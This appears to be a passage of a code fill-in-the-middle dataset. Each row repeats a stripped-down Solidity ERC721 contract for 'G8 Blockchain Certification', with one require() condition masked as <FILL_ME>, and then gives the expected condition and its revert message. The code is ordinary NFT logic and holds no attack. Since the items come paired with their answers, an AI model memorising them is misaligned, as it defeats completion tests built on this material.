bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
string private constant NAME = 'G8 Blockchain Certification';
string private constant SYMBOL = 'G8BC';
string private _baseURI;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping (address => EnumerableSet.UintSet) private _holderTokens;
mapping (uint => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
constructor() {
}
/**
* @dev Gets the balance of the specified address.
* @param tokenOwner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address tokenOwner) external view override returns (uint) {
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenIndex uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint tokenIndex) public view override returns (address) {
}
/**
* @dev A descriptive name for a collection of NFTs in this contract
*
* @return descriptive name.
*/
function name() external pure override returns (string memory) {
}
/**
* @dev An abbreviated name for NFTs in this contract
*
* @return abbreviated name (symbol).
*/
function symbol() external pure override returns (string memory) {
}
/**
* @dev function to set the base URI of the collection
*
* @param baseURI base URI string.
*/
function setBaseURI(string memory baseURI) external onlyOwner {
}
/**
* @dev Returns the NFT index owned by the user
*
* @param tokenOwner address.
* @param index Index in the list of owned tokens by address.
*
* @return token index in the collection.
*/
function tokenOfOwnerByIndex(address tokenOwner, uint index) external view returns (uint) {
}
/**
* @dev Returns the total amount of tokens stored by the contract.
*
* @return total amount of tokens.
*/
function totalSupply() public view returns (uint) {
}
/**
* @dev Function mints the amount of NFTs and sends them to the executor's address
*/
function mint() external onlyOwner() returns (uint) {
}
/**
* @dev Returns the URI for a given token ID. May return an empty string.
*
* If the token's URI is non-empty and a base URI was set (via
* {_setBaseURI}), it will be added to the token ID's URI as a prefix.
*
* Reverts if the token ID does not exist.
* @param tokenIndex uint256 ID of the token
*/
function tokenURI(uint tokenIndex) external view returns (string memory) {
}
/**
* @dev Approves another address to transfer the given token ID
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenIndex uint256 ID of the token to be approved
*/
function approve(address to, uint tokenIndex) external virtual override {
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenIndex uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint tokenIndex) public view override returns (address) {
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param operator operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param tokenOwner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address tokenOwner, address operator) public view override returns (bool) {
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint tokenIndex) public virtual override {
require(<FILL_ME>)
_transfer(from, to, tokenIndex);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint tokenIndex) public virtual override {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint tokenIndex, bytes memory _data) public virtual override {
}
/**
* @dev Internal function for safe transfer
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransfer(address from, address to, uint tokenIndex, bytes memory _data) internal virtual {
}
/**
* @dev Returns whether the specified token exists.
* @param tokenIndex uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint tokenIndex) internal view returns (bool) {
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenIndex uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint tokenIndex) internal view returns (bool) {
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
*/
function _safeMint(address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(address to, uint tokenIndex, bytes memory _data) internal virtual {
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
*/
function _mint(address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function for transfer
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function _transfer(address from, address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address.
* The call is not executed if the target address is not a contract.
*
* This function is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint tokenIndex, bytes memory _data) private returns (bool) {
}
/**
* @dev Internal function for approve another address to transfer the given token ID
* @param to address to be approved for the given token ID
* @param tokenIndex uint256 ID of the token to be approved
*/
function _approve(address to, uint tokenIndex) private {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint tokenIndex) internal virtual {}
}
| _isApprovedOrOwner(_msgSender(),tokenIndex),"ERC721: transfer caller is not owner nor approved" | 39,382 | _isApprovedOrOwner(_msgSender(),tokenIndex) |
"ERC721: transfer to non ERC721Receiver implementer" | pragma solidity 0.8.12;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint tokenIndex, bytes calldata data) external returns (bytes4);
}
contract G8bc is Context, ERC165, Ownable, IERC721Metadata {
using SafeMath for uint;
using Strings for uint;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x93254542;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
string private constant NAME = 'G8 Blockchain Certification';
string private constant SYMBOL = 'G8BC';
string private _baseURI;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping (address => EnumerableSet.UintSet) private _holderTokens;
mapping (uint => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
constructor() {
}
/**
* @dev Gets the balance of the specified address.
* @param tokenOwner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address tokenOwner) external view override returns (uint) {
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenIndex uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint tokenIndex) public view override returns (address) {
}
/**
* @dev A descriptive name for a collection of NFTs in this contract
*
* @return descriptive name.
*/
function name() external pure override returns (string memory) {
}
/**
* @dev An abbreviated name for NFTs in this contract
*
* @return abbreviated name (symbol).
*/
function symbol() external pure override returns (string memory) {
}
/**
* @dev function to set the base URI of the collection
*
* @param baseURI base URI string.
*/
function setBaseURI(string memory baseURI) external onlyOwner {
}
/**
* @dev Returns the NFT index owned by the user
*
* @param tokenOwner address.
* @param index Index in the list of owned tokens by address.
*
* @return token index in the collection.
*/
function tokenOfOwnerByIndex(address tokenOwner, uint index) external view returns (uint) {
}
/**
* @dev Returns the total amount of tokens stored by the contract.
*
* @return total amount of tokens.
*/
function totalSupply() public view returns (uint) {
}
/**
* @dev Function mints the amount of NFTs and sends them to the executor's address
*/
function mint() external onlyOwner() returns (uint) {
}
/**
* @dev Returns the URI for a given token ID. May return an empty string.
*
* If the token's URI is non-empty and a base URI was set (via
* {_setBaseURI}), it will be added to the token ID's URI as a prefix.
*
* Reverts if the token ID does not exist.
* @param tokenIndex uint256 ID of the token
*/
function tokenURI(uint tokenIndex) external view returns (string memory) {
}
/**
* @dev Approves another address to transfer the given token ID
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenIndex uint256 ID of the token to be approved
*/
function approve(address to, uint tokenIndex) external virtual override {
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenIndex uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint tokenIndex) public view override returns (address) {
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param operator operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param tokenOwner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address tokenOwner, address operator) public view override returns (bool) {
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint tokenIndex) public virtual override {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint tokenIndex) public virtual override {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint tokenIndex, bytes memory _data) public virtual override {
}
/**
* @dev Internal function for safe transfer
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransfer(address from, address to, uint tokenIndex, bytes memory _data) internal virtual {
_transfer(from, to, tokenIndex);
require(<FILL_ME>)
}
/**
* @dev Returns whether the specified token exists.
* @param tokenIndex uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint tokenIndex) internal view returns (bool) {
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenIndex uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint tokenIndex) internal view returns (bool) {
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
*/
function _safeMint(address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(address to, uint tokenIndex, bytes memory _data) internal virtual {
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
*/
function _mint(address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function for transfer
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function _transfer(address from, address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address.
* The call is not executed if the target address is not a contract.
*
* This function is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint tokenIndex, bytes memory _data) private returns (bool) {
}
/**
* @dev Internal function for approve another address to transfer the given token ID
* @param to address to be approved for the given token ID
* @param tokenIndex uint256 ID of the token to be approved
*/
function _approve(address to, uint tokenIndex) private {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint tokenIndex) internal virtual {}
}
| _checkOnERC721Received(from,to,tokenIndex,_data),"ERC721: transfer to non ERC721Receiver implementer" | 39,382 | _checkOnERC721Received(from,to,tokenIndex,_data) |
"ERC721: transfer to non ERC721Receiver implementer" | pragma solidity 0.8.12;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint tokenIndex, bytes calldata data) external returns (bytes4);
}
contract G8bc is Context, ERC165, Ownable, IERC721Metadata {
using SafeMath for uint;
using Strings for uint;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x93254542;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
string private constant NAME = 'G8 Blockchain Certification';
string private constant SYMBOL = 'G8BC';
string private _baseURI;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping (address => EnumerableSet.UintSet) private _holderTokens;
mapping (uint => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
constructor() {
}
/**
* @dev Gets the balance of the specified address.
* @param tokenOwner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address tokenOwner) external view override returns (uint) {
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenIndex uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint tokenIndex) public view override returns (address) {
}
/**
* @dev A descriptive name for a collection of NFTs in this contract
*
* @return descriptive name.
*/
function name() external pure override returns (string memory) {
}
/**
* @dev An abbreviated name for NFTs in this contract
*
* @return abbreviated name (symbol).
*/
function symbol() external pure override returns (string memory) {
}
/**
* @dev function to set the base URI of the collection
*
* @param baseURI base URI string.
*/
function setBaseURI(string memory baseURI) external onlyOwner {
}
/**
* @dev Returns the NFT index owned by the user
*
* @param tokenOwner address.
* @param index Index in the list of owned tokens by address.
*
* @return token index in the collection.
*/
function tokenOfOwnerByIndex(address tokenOwner, uint index) external view returns (uint) {
}
/**
* @dev Returns the total amount of tokens stored by the contract.
*
* @return total amount of tokens.
*/
function totalSupply() public view returns (uint) {
}
/**
* @dev Function mints the amount of NFTs and sends them to the executor's address
*/
function mint() external onlyOwner() returns (uint) {
}
/**
* @dev Returns the URI for a given token ID. May return an empty string.
*
* If the token's URI is non-empty and a base URI was set (via
* {_setBaseURI}), it will be added to the token ID's URI as a prefix.
*
* Reverts if the token ID does not exist.
* @param tokenIndex uint256 ID of the token
*/
function tokenURI(uint tokenIndex) external view returns (string memory) {
}
/**
* @dev Approves another address to transfer the given token ID
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenIndex uint256 ID of the token to be approved
*/
function approve(address to, uint tokenIndex) external virtual override {
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenIndex uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint tokenIndex) public view override returns (address) {
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param operator operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param tokenOwner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address tokenOwner, address operator) public view override returns (bool) {
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint tokenIndex) public virtual override {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint tokenIndex) public virtual override {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint tokenIndex, bytes memory _data) public virtual override {
}
/**
* @dev Internal function for safe transfer
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransfer(address from, address to, uint tokenIndex, bytes memory _data) internal virtual {
}
/**
* @dev Returns whether the specified token exists.
* @param tokenIndex uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint tokenIndex) internal view returns (bool) {
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenIndex uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint tokenIndex) internal view returns (bool) {
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
*/
function _safeMint(address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(address to, uint tokenIndex, bytes memory _data) internal virtual {
_mint(to, tokenIndex);
require(<FILL_ME>)
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
*/
function _mint(address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function for transfer
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function _transfer(address from, address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address.
* The call is not executed if the target address is not a contract.
*
* This function is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint tokenIndex, bytes memory _data) private returns (bool) {
}
/**
* @dev Internal function for approve another address to transfer the given token ID
* @param to address to be approved for the given token ID
* @param tokenIndex uint256 ID of the token to be approved
*/
function _approve(address to, uint tokenIndex) private {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint tokenIndex) internal virtual {}
}
| _checkOnERC721Received(address(0),to,tokenIndex,_data),"ERC721: transfer to non ERC721Receiver implementer" | 39,382 | _checkOnERC721Received(address(0),to,tokenIndex,_data) |
"ERC721: transfer of token that is not own" | pragma solidity 0.8.12;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint tokenIndex, bytes calldata data) external returns (bytes4);
}
contract G8bc is Context, ERC165, Ownable, IERC721Metadata {
using SafeMath for uint;
using Strings for uint;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x93254542;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
string private constant NAME = 'G8 Blockchain Certification';
string private constant SYMBOL = 'G8BC';
string private _baseURI;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping (address => EnumerableSet.UintSet) private _holderTokens;
mapping (uint => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
constructor() {
}
/**
* @dev Gets the balance of the specified address.
* @param tokenOwner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address tokenOwner) external view override returns (uint) {
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenIndex uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint tokenIndex) public view override returns (address) {
}
/**
* @dev A descriptive name for a collection of NFTs in this contract
*
* @return descriptive name.
*/
function name() external pure override returns (string memory) {
}
/**
* @dev An abbreviated name for NFTs in this contract
*
* @return abbreviated name (symbol).
*/
function symbol() external pure override returns (string memory) {
}
/**
* @dev function to set the base URI of the collection
*
* @param baseURI base URI string.
*/
function setBaseURI(string memory baseURI) external onlyOwner {
}
/**
* @dev Returns the NFT index owned by the user
*
* @param tokenOwner address.
* @param index Index in the list of owned tokens by address.
*
* @return token index in the collection.
*/
function tokenOfOwnerByIndex(address tokenOwner, uint index) external view returns (uint) {
}
/**
* @dev Returns the total amount of tokens stored by the contract.
*
* @return total amount of tokens.
*/
function totalSupply() public view returns (uint) {
}
/**
* @dev Function mints the amount of NFTs and sends them to the executor's address
*/
function mint() external onlyOwner() returns (uint) {
}
/**
* @dev Returns the URI for a given token ID. May return an empty string.
*
* If the token's URI is non-empty and a base URI was set (via
* {_setBaseURI}), it will be added to the token ID's URI as a prefix.
*
* Reverts if the token ID does not exist.
* @param tokenIndex uint256 ID of the token
*/
function tokenURI(uint tokenIndex) external view returns (string memory) {
}
/**
* @dev Approves another address to transfer the given token ID
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenIndex uint256 ID of the token to be approved
*/
function approve(address to, uint tokenIndex) external virtual override {
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenIndex uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint tokenIndex) public view override returns (address) {
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param operator operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param tokenOwner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address tokenOwner, address operator) public view override returns (bool) {
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint tokenIndex) public virtual override {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint tokenIndex) public virtual override {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint tokenIndex, bytes memory _data) public virtual override {
}
/**
* @dev Internal function for safe transfer
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransfer(address from, address to, uint tokenIndex, bytes memory _data) internal virtual {
}
/**
* @dev Returns whether the specified token exists.
* @param tokenIndex uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint tokenIndex) internal view returns (bool) {
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenIndex uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint tokenIndex) internal view returns (bool) {
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
*/
function _safeMint(address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(address to, uint tokenIndex, bytes memory _data) internal virtual {
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenIndex uint256 ID of the token to be minted
*/
function _mint(address to, uint tokenIndex) internal virtual {
}
/**
* @dev Internal function for transfer
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenIndex uint256 ID of the token to be transferred
*/
function _transfer(address from, address to, uint tokenIndex) internal virtual {
require(<FILL_ME>)
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenIndex);
_approve(address(0), tokenIndex);
_holderTokens[from].remove(tokenIndex);
_holderTokens[to].add(tokenIndex);
_tokenOwners.set(tokenIndex, to);
emit Transfer(from, to, tokenIndex);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address.
* The call is not executed if the target address is not a contract.
*
* This function is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenIndex uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
